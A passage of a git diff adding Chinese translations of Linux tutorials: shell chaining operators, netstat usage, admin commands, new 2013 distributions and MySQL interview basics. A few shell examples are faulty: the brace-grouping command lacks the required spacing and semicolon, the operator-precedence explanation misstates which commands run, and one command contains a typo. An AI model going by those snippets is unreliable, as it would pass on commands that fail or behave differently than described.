DVDRiP - x264 - AAC 5.1 - Chapters - Esubs - [DDR].mkv + ./Downloads/Deewar.avi + ./Desktop/squeeze.iso + +### 49. pdftk ### + +**pdftk**命令用来合并几个pdf文件。你必须安装有 **pdftk** 程序。如果还没有,请用apt或yum来获取相应的包。 + + $ pdftk 1.pdf 2.pdf 3.pdf …. 10.pdf cat output merged.pdf + +### 50. ps -LF -u user_name ### + +该命令会输出一个用户的进程和线程。选项“**L**”(列出线程),选项“**-F**”(完整格式化) + + $ ps -LF -u avi + avi 21645 3717 21766 0 5 66168 117164 1 18:58 ? 00:00:00 /usr/ + avi 21645 3717 21768 0 5 66168 117164 1 18:58 ? 00:00:00 /usr/ + avi 22314 3717 22314 0 2 42797 50332 0 19:00 ? 00:00:40 /usr/ + avi 22314 3717 22316 0 2 42797 50332 1 19:00 ? 00:00:00 /usr/ + avi 22678 24621 22678 0 1 969 1060 1 21:05 pts/1 00:00:00 ps -L + avi 23051 3717 23051 0 2 37583 45444 1 19:03 ? 00:00:52 /usr/ + avi 23051 3717 23053 0 2 37583 45444 0 19:03 ? 00:00:03 /usr/ + avi 23652 1 23652 0 2 22092 12520 0 19:06 ? 00:00:22 gnome + avi 23652 1 23655 0 2 22092 12520 0 19:06 ? 00:00:00 gnome + +### 51. startx - :1 ### + +分享 **X** 会话。如果你需要频繁的(以不同用户身份)登入或登出桌面时,那就需要 **startx** 来救场。这个命令建立了一个新的会话从而避免了在一个会话中反复的登入和登出。为了在X会话间进行交换,我们可以通过‘**ctrl+Alt+F7**’和‘**ctrl+Alt+F8**’的组合键来完成。 + +**注意**:快捷键“**ctrl+Alt+F1~F6**“是为了控制台会话准备的,而“**ctrl+Alt+F7~F12**”则为X会话服务。因此我们有**6**个控制台会话和**6**个X会话,不需要频繁的登入登出。上面的顺序适用于大多数的发行版,然而不同发行版可能会有不同的实现。我在Debian中尝试过,运行的很好。 + +以上就是今天的所有内容。我们如有需要会在以后的文章中继续发布“鲜为人知的命令”,不要忘记留下你对我们文章和‘ **鲜为人知的Linux命令** ’系列的宝贵意见。我会很快带来我的新文章,敬请期待,记得常回来看看哦。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-lesser-known-useful-linux-commands-part-v/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2258-1.html +[2]:http://linux.cn/article-2265-1.html +[3]:http://linux.cn/article-2284-1.html +[4]:http://linux.cn/article-2404-1.html diff --git a/published/201401/10 Useful Chaining Operators in Linux with Practical Examples.md b/published/201401/10 Useful Chaining Operators in Linux with Practical Examples.md new file mode 100644 index 0000000000..5ecba373c3 --- /dev/null +++ b/published/201401/10 Useful Chaining Operators in Linux with Practical Examples.md @@ -0,0 +1,164 @@ +Linux中命令链接操作符的十个最佳实例 +================================================================================ +Linux命令中的链接的意思是,通过操作符的行为将几个命令组合执行。Linux中的链接命令,有些像你在shell中写[短小的shell脚本][1],并直接在终端中执行。链接使得自动处理变得更方便。不仅如此,一个无人看管的机器在链接操作符的帮助下能够十分有条理地运行。 + +![Linux中的10个链接操作符](http://www.tecmint.com/wp-content/uploads/2013/12/Chaining-Operators-in-Linux.png) + +*Linux中的10个链接操作符* + +本文旨在介绍一些常用的**链接操作符**,通过简短的描述和相关的例子帮助读者提高生产力、降低系统负载、写出更加简短有意义的代码。 + +### 1. 和号操作符 (&) ### + +‘**&**’的作用是使命令在后台运行。只要在命令后面跟上一个空格和 ‘**&**’。你可以一口气在后台运行多个命令。 + +在后台运行一个命令: + + tecmint@localhost:~$ ping ­c5 www.tecmint.com & + +同时在后台运行两个命令: + + root@localhost:/home/tecmint# apt-get update & mkdit test & + +### 2. 分号操作符 (;) ### + +分号操作符使你可以一口气运行几个命令,命令顺序执行。 + + root@localhost:/home/tecmint# apt-get update ; apt-get upgrade ; mkdir test + +上述命令先后执行了update和upgrade,最后在当前工作目录下创建了一个‘**test**’文件夹 + +### 3. 与操作符 (&&) ### + +如果第一个命令执行成功,**与操作符 (&&)**才会执行第二个命令,也就是说,第一个命令退出状态是**0**。(译注:原文的这里明显写错了,我们进行了改译,有兴趣的读者可以参看原文以及原文下面的评论。在UNIX里面,0表示无错误,而所有非0返回值都是各种错误)。这个命令在检查最后一个命令的执行状态时很有用。 + +比如,我想使用**[links 命令][2]**在终端中访问网站**tecmint.com**,但在这之前我需要检查主机是否**在线**或**不在线**。 + + root@localhost:/home/tecmint# ping -c3 www.tecmint.com && links www.tecmint.com + +### 4. 或操作符 (||) ### + +**或操作符 (||)**很像编程中的**else**语句。上面的操作符允许你在第一个命令失败的情况下执行第二个命令,比如,第一个命令的退出状态是**1**。 + +举例来说,我想要在非root帐户中执行‘**apt-get update**‘,如果第一个命令失败了,接着会执行第二个命令‘**links www.tecmint.com**‘。 + + tecmint@localhost:~$ apt-get update || links tecmint.com + +上面的命令中,由于该**用户**不允许**更新**系统,这意味着第一个命令的退出状态是’**1**′,因此最后一个命令‘**links tecmint.com**‘会执行。 + +如果第一个命令成功执行并且退出状态是‘**0**‘呢?很明显的,第二个命令不会执行。 + + tecmint@localhost:~$ mkdir test || links tecmint.com + +这里,用户在家目录创建了一个‘**test**‘文件夹,这是被允许的。命令成功的执行,退出状态是‘**0**‘,因此,最后的命令不会执行。 + +### 5. 非操作符 (!) ### + +**非操作符 (!)**很像**except**语句。这个命令会执行除了提供的条件外的所有的语句。要理解这点,在你的主目录创建一个目录‘**tecmint**’,并‘**cd**’到它这里。 + + tecmint@localhost:~$ mkdir tecmint + tecmint@localhost:~$ cd tecmint + +接下来,在文件夹‘**tecmint**’下创建不同类型的文件。 + + tecmint@localhost:~/tecmint$ touch a.doc b.doc a.pdf b.pdf a.xml b.xml a.html b.html + +看一下我们在文件夹‘**tecmint**’创建的新文件。 + + tecmint@localhost:~/tecmint$ ls + + a.doc a.html a.pdf a.xml b.doc b.html b.pdf b.xml + +用一种聪明的办法马上删除除了 ‘**html**’之外的所有文件。 + + tecmint@localhost:~/tecmint$ rm -r !(*.html) + +验证一下上次的执行结果,使用[ls 命令][3]列出可见所有文件。 + + tecmint@localhost:~/tecmint$ ls + + a.html b.html + +### 6. 与或操作符 (&& – ||) ### + +上面的操作符实际上是‘**与**’和‘**或**’操作符的组合。它很像‘**if-else**‘语句。 + +比如,我们ping **tecmint.com**,如果成功打印‘**已验证**’,否则打印‘**主机故障**’。 + + tecmint@localhost:~/tecmint$ ping -c3 www.tecmint.com && echo "Verified" || echo "Host Down" + +#### 示例输出 #### + + PING www.tecmint.com (212.71.234.61) 56(84) bytes of data. + 64 bytes from www.tecmint.com (212.71.234.61): icmp_req=1 ttl=55 time=216 ms + 64 bytes from www.tecmint.com (212.71.234.61): icmp_req=2 ttl=55 time=224 ms + 64 bytes from www.tecmint.com (212.71.234.61): icmp_req=3 ttl=55 time=226 ms + + --- www.tecmint.com ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2001ms + rtt min/avg/max/mdev = 216.960/222.789/226.423/4.199 ms + Verified + +现在,断开我们现在的网络连接诶,再试一下相同的命令。 + + tecmint@localhost:~/tecmint$ ping -c3 www.tecmint.com && echo "verified" || echo "Host Down" + +#### 实例输出 #### + + ping: unknown host www.tecmint.com + Host Down + +### 7. 管道操作符 (|) ### + +**PIPE**在将第一个命令的输出作为第二个命令的输入时很有用。比如,‘**ls -l**’的输出通过管道到‘**less**’,并看一下输出。 + + tecmint@localhost:~$ ls -l | less + +### 8. 命令合并操作符 {} ### + +合并两个或多个命令,第二个命令依赖于第一个命令的执行。 + +比如,检查一下文件‘**xyz.txt**’是否在**Downloads**目录下,如果不存在则创建之并输出提示信息。 + + tecmint@localhost:~$ [ -f /home/tecmint/Downloads/xyz.txt ] || touch /home/tecmint/Downloads/xyz.txt; echo "The file does not exist" + +但是这样的命令的运行结果并不如我们预期的运行,会始终都输出提示信息。因此需要使用{}操作符来合并命令: + + tecmint@localhost:~$ [ -f /home/tecmint/Downloads/xyz1.txt ] || {touch /home/tecmint/Downloads/xyz.txt; echo "The file does not exist"} + + “The file does not exist” + +(译注:原文这里应该也是复制或书写的时候,出现了一些问题,例子中并没有出现小标题中的"{}"操作符,所以这里我们进行了修改) + +### 9. 优先操作符 () ### + +这个操作符可以让命令以优先顺序执行。 + + Command_x1 &&Command_x2 || Command_x3 && Command_x4. + +在上面的伪代码中,如果**Command_x1**执行失败了会怎么样,**Command_x2**, **Command_x3**, **Command_x4**没有一个会执行,对于这种情况,我们使用**优先操作符**。 + + (Command_x1 &&Command_x2) || (Command_x3 && Command_x4) + +在上面的伪代码中,如果**Command_x1**执行失败,**Command_x2**不会执行,但是**Command_x3**会继续执行, **Command_x4**会依赖于 **Command_x3**的退出状态。 + +### 10. 连接符 (\) ### + +**连接符 (\)**如它名字所说,被用于连接shell中那些太长而需要分成多行的命令。可以在输入一个“\”之后就回车,然后继续输入命令行,直到输入完成。比如,下面的命令会打开文本文件**test(1).txt**。 + + tecmint@localhost:~/Downloads$ nano test\ + 1.txt + +今天就到这里,我会近日开始另外一个有趣的文章。不要走开,继续关注**Tecmint**。不要忘记在评论栏里提出有价值的反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/chaining-operators-in-linux-with-practical-examples/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/category/bash-shell/ +[2]:http://www.tecmint.com/command-line-web-browsers/ +[3]:http://www.tecmint.com/15-basic-ls-command-examples-in-linux/ diff --git a/published/201401/10 basic examples of linux netstat command.md b/published/201401/10 basic examples of linux netstat command.md new file mode 100644 index 0000000000..357adb6d3d --- /dev/null +++ b/published/201401/10 basic examples of linux netstat command.md @@ -0,0 +1,281 @@ +netstat 的10个基本用法 +================================================================================ +### Netstat 简介 ### + +Netstat 是一款命令行工具,可用于列出系统上所有的网络套接字连接情况,包括 tcp, udp 以及 unix 套接字,另外它还能列出处于监听状态(即等待接入请求)的套接字。如果你想确认系统上的 Web 服务有没有起来,你可以查看80端口有没有打开。以上功能使 netstat 成为网管和系统管理员的必备利器。在这篇教程中,我会列出几个例子,教大家如何使用 netstat 去查找网络连接信息和系统开启的端口号。 + +以下的简单介绍来自 netstat 的 man 手册: + +> netstat - 打印网络连接、路由表、连接的数据统计、伪装连接以及广播域成员。 + +### 1. 列出所有连接 ### + +第一个要介绍的,是最简单的命令:列出所有当前的连接。使用 -a 选项即可。 + + $ netstat -a + + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 enlightened:domain *:* LISTEN + tcp 0 0 localhost:ipp *:* LISTEN + tcp 0 0 enlightened.local:54750 li240-5.members.li:http ESTABLISHED + tcp 0 0 enlightened.local:49980 del01s07-in-f14.1:https ESTABLISHED + tcp6 0 0 ip6-localhost:ipp [::]:* LISTEN + udp 0 0 enlightened:domain *:* + udp 0 0 *:bootpc *:* + udp 0 0 enlightened.local:ntp *:* + udp 0 0 localhost:ntp *:* + udp 0 0 *:ntp *:* + udp 0 0 *:58570 *:* + udp 0 0 *:mdns *:* + udp 0 0 *:49459 *:* + udp6 0 0 fe80::216:36ff:fef8:ntp [::]:* + udp6 0 0 ip6-localhost:ntp [::]:* + udp6 0 0 [::]:ntp [::]:* + udp6 0 0 [::]:mdns [::]:* + udp6 0 0 [::]:63811 [::]:* + udp6 0 0 [::]:54952 [::]:* + Active UNIX domain sockets (servers and established) + Proto RefCnt Flags Type State I-Node Path + unix 2 [ ACC ] STREAM LISTENING 12403 @/tmp/dbus-IDgfj3UGXX + unix 2 [ ACC ] STREAM LISTENING 40202 @/dbus-vfs-daemon/socket-6nUC6CCx + +上述命令列出 tcp, udp 和 unix 协议下所有套接字的所有连接。然而这些信息还不够详细,管理员往往需要查看某个协议或端口的具体连接情况。 + +### 2. 只列出 TCP 或 UDP 协议的连接 ### + +使用 **-t** 选项列出 TCP 协议的连接: + + $ netstat -at + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 enlightened:domain *:* LISTEN + tcp 0 0 localhost:ipp *:* LISTEN + tcp 0 0 enlightened.local:36310 del01s07-in-f24.1:https ESTABLISHED + tcp 0 0 enlightened.local:45038 a96-17-181-10.depl:http ESTABLISHED + tcp 0 0 enlightened.local:37892 ABTS-North-Static-:http ESTABLISHED + ..... + +使用 **-u** 选项列出 UDP 协议的连接: + + $ netstat -au + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + udp 0 0 *:34660 *:* + udp 0 0 enlightened:domain *:* + udp 0 0 *:bootpc *:* + udp 0 0 enlightened.local:ntp *:* + udp 0 0 localhost:ntp *:* + udp 0 0 *:ntp *:* + udp6 0 0 fe80::216:36ff:fef8:ntp [::]:* + udp6 0 0 ip6-localhost:ntp [::]:* + udp6 0 0 [::]:ntp [::]:* + +上面同时显示了 IPv4 和 IPv6 的连接。 + +### 3. 禁用反向域名解析,加快查询速度 ### + +默认情况下 netstat 会通过反向域名解析技术查找每个 IP 地址对应的主机名。这会降低查找速度。如果你觉得 IP 地址已经足够,而没有必要知道主机名,就使用 **-n** 选项禁用域名解析功能。 + + $ netstat -ant + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN + tcp 0 0 192.168.1.2:49058 173.255.230.5:80 ESTABLISHED + tcp 0 0 192.168.1.2:33324 173.194.36.117:443 ESTABLISHED + tcp6 0 0 ::1:631 :::* LISTEN + +上述命令列出所有 TCP 协议的连接,没有使用域名解析技术。So easy ? 非常好。 + +### 4. 只列出监听中的连接 ### + +任何网络服务的后台进程都会打开一个端口,用于监听接入的请求。这些正在监听的套接字也和连接的套接字一样,也能被 netstat 列出来。使用 **-l** 选项列出正在监听的套接字。 + + $ netstat -tnl + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN + tcp6 0 0 ::1:631 :::* LISTEN + +现在我们可以看到处于监听状态的 TCP 端口和连接。如果你查看所有监听端口,去掉 **-t** 选项。如果你只想查看 UDP 端口,使用 **-u** 选项,代替 **-t** 选项。 + +注意:不要使用 **-a** 选项,否则 netstat 会列出所有连接,而不仅仅是监听端口。 + +### 5. 获取进程名、进程号以及用户 ID ### + +查看端口和连接的信息时,能查看到它们对应的进程名和进程号对系统管理员来说是非常有帮助的。举个栗子,Apache 的 httpd 服务开启80端口,如果你要查看 http 服务是否已经启动,或者 http 服务是由 apache 还是 nginx 启动的,这时候你可以看看进程名。 + +使用 **-p** 选项查看进程信息。 + + ~$ sudo netstat -nlpt + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN 1144/dnsmasq + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 661/cupsd + tcp6 0 0 ::1:631 :::* LISTEN 661/cupsd + +使用 **-p** 选项时,netstat 必须运行在 root 权限之下,不然它就不能得到运行在 root 权限下的进程名,而很多服务包括 http 和 ftp 都运行在 root 权限之下。 + +相比进程名和进程号而言,查看进程的拥有者会更有用。使用 **-ep** 选项可以同时查看进程名和用户名。 + + $ sudo netstat -ltpe + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name + tcp 0 0 enlightened:domain *:* LISTEN root 11090 1144/dnsmasq + tcp 0 0 localhost:ipp *:* LISTEN root 9755 661/cupsd + tcp6 0 0 ip6-localhost:ipp [::]:* LISTEN root 9754 661/cupsd + +上面列出 TCP 协议下的监听套接字,同时显示进程信息和一些额外信息。 + +这些额外的信息包括用户名和进程的索引节点号。这个命令对网管来说很有用。 + +**注意** - 假如你将 **-n** 和 **-e** 选项一起使用,User 列的属性就是用户的 ID 号,而不是用户名。 + +### 6. 打印统计数据 ### + +netstat 可以打印出网络统计数据,包括某个协议下的收发包数量。 + +下面列出所有网络包的统计情况: + + $ netstat -s + Ip: + 32797 total packets received + 0 forwarded + 0 incoming packets discarded + 32795 incoming packets delivered + 29115 requests sent out + 60 outgoing packets dropped + Icmp: + 125 ICMP messages received + 0 input ICMP message failed. + ICMP input histogram: + destination unreachable: 125 + 125 ICMP messages sent + 0 ICMP messages failed + ICMP output histogram: + destination unreachable: 125 + ... OUTPUT TRUNCATED ... + +如果想只打印出 TCP 或 UDP 协议的统计数据,只要加上对应的选项(**-t** 和 **-u**)即可,so easy。 + +### 7. 显示内核路由信息 ### + +使用 **-r** 选项打印内核路由信息。打印出来的信息与 route 命令输出的信息一样。我们也可以使用 **-n** 选项禁止域名解析。 + + $ netstat -rn + Kernel IP routing table + Destination Gateway Genmask Flags MSS Window irtt Iface + 0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0 + 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 + +### 8. 打印网络接口 ### + +netstat 也能打印网络接口信息,**-i** 选项就是为这个功能而生。 + + $ netstat -i + Kernel Interface table + Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg + eth0 1500 0 31611 0 0 0 27503 0 0 0 BMRU + lo 65536 0 2913 0 0 0 2913 0 0 0 LRU + +上面输出的信息比较原始。我们将 **-e** 选项和 **-i** 选项搭配使用,可以输出用户友好的信息。 + + $ netstat -ie + Kernel Interface table + eth0 Link encap:Ethernet HWaddr 00:16:36:f8:b2:64 + inet addr:192.168.1.2 Bcast:192.168.1.255 Mask:255.255.255.0 + inet6 addr: fe80::216:36ff:fef8:b264/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:31682 errors:0 dropped:0 overruns:0 frame:0 + TX packets:27573 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:29637117 (29.6 MB) TX bytes:4590583 (4.5 MB) + Interrupt:18 Memory:da000000-da020000 + + lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:65536 Metric:1 + RX packets:2921 errors:0 dropped:0 overruns:0 frame:0 + TX packets:2921 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:305297 (305.2 KB) TX bytes:305297 (305.2 KB) + +上面的输出信息与 ifconfig 输出的信息一样。 + +### 9. netstat 持续输出 ### + +我们可以使用 netstat 的 **-c** 选项持续输出信息。 + + $ netstat -ct + +这个命令可持续输出 TCP 协议信息。 + +### 10. 显示多播组信息 ### + +选项 **-g** 会输出 IPv4 和 IPv6 的多播组信息。 + + $ netstat -g + IPv6/IPv4 Group Memberships + Interface RefCnt Group + --------------- ------ --------------------- + lo 1 all-systems.mcast.net + eth0 1 224.0.0.251 + eth0 1 all-systems.mcast.net + lo 1 ip6-allnodes + lo 1 ff01::1 + eth0 1 ff02::fb + eth0 1 ff02::1:fff8:b264 + eth0 1 ip6-allnodes + eth0 1 ff01::1 + wlan0 1 ip6-allnodes + wlan0 1 ff01::1 + +### 更多用法 ### + +目前为止我们列出了 netstat 的基本用法,现在让我们一起来 geek 吧~ + +### 打印 active 状态的连接 ### + +active 状态的套接字连接用 "ESTABLISHED" 字段表示,所以我们可以使用 grep 命令获得 active 状态的连接: + + $ netstat -atnp | grep ESTA + (Not all processes could be identified, non-owned process info + will not be shown, you would have to be root to see it all.) + tcp 0 0 192.168.1.2:49156 173.255.230.5:80 ESTABLISHED 1691/chrome + tcp 0 0 192.168.1.2:33324 173.194.36.117:443 ESTABLISHED 1691/chrome + +配合 watch 命令监视 active 状态的连接: + + $ watch -d -n0 "netstat -atnp | grep ESTA" + +### 查看服务是否在运行 ### + +如果你想看看 http,smtp 或 ntp 服务是否在运行,使用 grep。 + + $ sudo netstat -aple | grep ntp + udp 0 0 enlightened.local:ntp *:* root 17430 1789/ntpd + udp 0 0 localhost:ntp *:* root 17429 1789/ntpd + udp 0 0 *:ntp *:* root 17422 1789/ntpd + udp6 0 0 fe80::216:36ff:fef8:ntp [::]:* root 17432 1789/ntpd + udp6 0 0 ip6-localhost:ntp [::]:* root 17431 1789/ntpd + udp6 0 0 [::]:ntp [::]:* root 17423 1789/ntpd + unix 2 [ ] DGRAM 17418 1789/ntpd + +从这里可以看到 ntp 服务正在运行。使用 grep 命令你可以查看 http 或 smtp 或其它任何你想查看的服务。 + +好了,netstat 的大部分功能都介绍过了,如果你想知道 netstat 更高级的功能,阅读它的手册吧(man netstat)。 + +欢迎在下面留下你的反馈和建议。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-netstat-command-examples/ + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + diff --git a/published/201401/12 Advanced Commands For Linux Server Admins!.md b/published/201401/12 Advanced Commands For Linux Server Admins!.md new file mode 100644 index 0000000000..696bb88ccb --- /dev/null +++ b/published/201401/12 Advanced Commands For Linux Server Admins!.md @@ -0,0 +1,38 @@ +Linux 服务器管理员的12个有用的命令 +================================================================================ + +我们已经读了很多教程和看了很多视频了,你现在是一名Linux高级用户了。好的,恭喜你。但是还有一些需要学习!下面一些命令在你成为全能的管理员时会派上用场! + +![](http://www.efytimes.com/admin/useradmin/photo/fQjv122633PM162014.png) + +1. **ifconfig**: 在修改内核中已有的网络接口时,你会用到ifconfig命令。这个命令通常用于系统调校和调试,但同时也可以用于在启动过程中设置接口。 + +2. **netstat**: 对于Linux用户来说这是一个用于显示网络相关信息的高级命令。它包括路由表、网络连接、伪装连接、接口统计等丰富信息。 + +3. **nslookup**: 在你需要找出关于网络服务的信息时可以用到这个命令。它能帮你找到用于查询DNS域的名称服务器信息。 + +4. **dig**: dig工具用于请求DNS域名服务器。如果你要找出主机地址、邮件交换、名称服务器和其他相关信息,那么这个工具就是最佳选择。你可以在Linux和Mac OS X操作系统上使用这个命令。 + +5. **uptime**: uptime命令用于验证服务器在无人照看下发生了什么。当你需要坐在服务器前查找错误的时候,这个命令尤其有用。 + +6. **wall**: 这个命令用于给所有已登录的用户发送消息。你可以只给那些消息权限设置成了'是'的用户发消息。消息是作为wall命令的参数给出的。 + +7. **mesg**: 用户可以使用'write'命令给你发送消息。但是作为服务器管理员,你可以使用mesg命令来决定他们是否能够使用write命令。你可以选择'n'和'y',分别用于控制在屏幕上不弹出或者弹出消息。 + +8. **write**: 如果对于一个用户的'mesg'命令的状态设置为'y',那么write命令就允许你发送消息给那个用户。 + +9. **talk**: 当上面所说的“消息”不够用时,使用talk命令与登陆的用户进行“会话”。 + +10. **w**: 这个命令是uptime和who命令的结合,其显示结果就好像连续先后执行了这两个命令一样。 + +11. **rename**:当你需要重命名特定的文件时,rename命令会派上用场。这个命令可以通过匹配替换来为多个文件批量重命名。 + +12. **top**:这个命令可以显示运行在CPU上的进程。命令会自动刷新并持续显示进程直到你使用中断命令停止它。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=125990 + +译者:[geekpi](https://github.com/geekpi) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201401/14 New Linux Distros That Were Introduced In 2013.md b/published/201401/14 New Linux Distros That Were Introduced In 2013.md new file mode 100644 index 0000000000..eefd62cf3e --- /dev/null +++ b/published/201401/14 New Linux Distros That Were Introduced In 2013.md @@ -0,0 +1,73 @@ +2013新出的 14 个Linux发行版 +================================================================================ + +![](http://itsfoss.com/wp-content/uploads/2013/12/New-Linux-Born.jpeg) + + +2013年是开源界丰收的一年。随着Android系统的崛起,在移动设备领域拥有超过85%的市场份额,让Linux前所未有的站在了最前沿。已经在日益增多的报道关于基于Linux发行版受欢迎度增加呈现出来,在今年新出了13个新的发行版。如果你不巧错过了他们,那么瞧一瞧吧! + + +1. **[Slackel Linux][1]**:该发行版基于 Slackware Linux 和 Salix Os 。并将KDE作为默认的桌面环境。 + + +2. **[SalentOS][2]**:基于目前非常流行的 Ubuntu 操作系统,这个发行版用 Openbox 作为默认的窗口管理器。他针对于初学者,是一个比较轻量级的 Linux 发行版。(译注:超爱Openbox :P) + + +3. **[Linux Lite][3]**: 这款基于 Linux 的轻量级操作系统受用于新手,用的是 XFCE 桌面环境。 + + +4. **[Kali Linux][4]**: BackTrack Linux 复兴了!,众所周知的发行版,全新 Kali Linux 备战待敌。这是一款用于渗透测试的发行版,在它正式推出后,立马得到了社区的支持。 + + +5. **[Springdale Linux][5]**: 基于红帽的一款发行版,Springdale Linux发行版最初称为 PUIAS linux。它由美国的高级研究所连同普林斯顿大学一起维护。 + + +6. **[Emmabuntüs][6]**: 该发行版有大量的预加载程序,便于日常的操作。基于 Xubuntu 操作系统,是一款轻量级 OS。 + + +7. **[Antergos][7]**: 该发行版起初命名为 Cinnarch 。这个名字是由 Archlinux 发行版和 Cinnamon 桌面环境组合而成。 + + +8. **[SolydXK][8]**: SolydX 和 SolydK 都基于 Debian Linux 发行版,分别使用了 XFCE 和 KDE 桌面。而 SolydXK 是这两者的混合版兼具家庭版和商业版。 + + +9. **[Point Linux][9]**: 结合了 Debian 发行版和 Mate 桌面环境,Mate 是 GNOME2 的一个分支。这个发行版的目标在于简易的设置和使用。 + + +10. **[Simplicity Linux][10]**: 此发行版的默认桌面是 LXDE,平台本身衍生于 Puppy Linux发行版。 + + +11. **[LXLE][11]**: 名字再次暗示了该发行版的本质。它基于 Lubuntu 系统的长期支持版本,是一个轻量级的发行版。 + + +12. **[Kwheezy][12]**: 基于 Debian Linux 发行版同时携带 KDE 桌面环境。该系统已经默认安装了各样的应用程序和媒体解码器。 + + +13. **[MakuluLinux][13]**: 在这个基于 Debian 的发行版中预装了大量的应用程序,于2013年发布。 + + +14. **[OpenMandriva][14]** LX: 该发行版基于俄罗斯的 ROSA 发行版。该发行版也受 Mandriva 发行版的支持。事实上,早些时候 Mandriva 也是由 ROSA 分支出来的。 + + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/new-linux-distros-2013/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.slackel.gr/slackelmulti/xoops20171/htdocs/index.php?lang=english +[2]:http://www.salentos.it/ +[3]:https://www.linuxliteos.com/ +[4]:http://www.kali.org/ +[5]:https://puias.math.ias.edu/ +[6]:http://sourceforge.net/projects/emmabuntus/ +[7]:http://antergos.com/ +[8]:http://solydxk.com/ +[9]:http://pointlinux.org/ +[10]:http://simplicitylinux.org/ +[11]:http://lxle.net/ +[12]:http://www.kwheezy.com/en/ +[13]:http://www.makululinux.com/ +[14]:http://openmandriva.org/%22 diff --git a/published/201401/15 Basic MySQL Interview Questions for Database Administrators.md b/published/201401/15 Basic MySQL Interview Questions for Database Administrators.md new file mode 100644 index 0000000000..eb469aad24 --- /dev/null +++ b/published/201401/15 Basic MySQL Interview Questions for Database Administrators.md @@ -0,0 +1,285 @@ +15个 MySQL 基础面试题,DBA 们准备好了吗? +================================================================================ + +此前我们已经有发表过Linux 面试基础问答之[一][1]、[二][2]和[三][3]共3篇文章,获得读者的好评,同时我们得到反馈,有些读者希望这种交互式学习方法能够做得更加灵活。心动不如行动,我们这就为您奉上 **15个 MySQL 面试题** + +![](http://www.tecmint.com/wp-content/uploads/2013/12/Mysql-Interview-Questions.png) + + +### 问题1:你如何确定 MySQL 是否处于运行状态? ### + +> **答案**: Debian 上运行命令 **service mysql status**,在RedHat 上运行命令 **service mysqld status**。然后看看输出即可。 + +- + + root@localhost:/home/avi# service mysql status + + /usr/bin/mysqladmin Ver 8.42 Distrib 5.1.72, for debian-linux-gnu on i486 + Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved. + + Oracle is a registered trademark of Oracle Corporation and/or its + affiliates. Other names may be trademarks of their respective + owners. + + Server version 5.1.72-2 + Protocol version 10 + Connection Localhost via UNIX socket + UNIX socket /var/run/mysqld/mysqld.sock + Uptime: 1 hour 22 min 49 sec + + Threads: 1 Questions: 112138 Slow queries: 1 Opens: 1485 Flush tables: 1 Open tables: 64 Queries per second avg: 22.567. + + +### 问题2:如何开启或停止 MySQL 服务? ### + +> **答案**:运行命令 **service mysqld start** 开启服务;运行命令 **service mysqld stop** 停止服务。 + +- + + root@localhost:/home/avi# service mysql stop + + Stopping MySQL database server: mysqld. + + root@localhost:/home/avi# service mysql start + + Starting MySQL database server: mysqld. + + Checking for corrupt, not cleanly closed and upgrade needing tables.. + +### 问题3:如何通过 Shell 登入 MySQL? ### + +> **答案**:运行命令 **mysql -u root -p** + +- + + root@localhost:/home/avi# mysql -u root -p + Enter password: + Welcome to the MySQL monitor. Commands end with ; or \g. + Your MySQL connection id is 207 + Server version: 5.1.72-2 (Debian) + + Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved. + + Oracle is a registered trademark of Oracle Corporation and/or its + affiliates. Other names may be trademarks of their respective + owners. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input 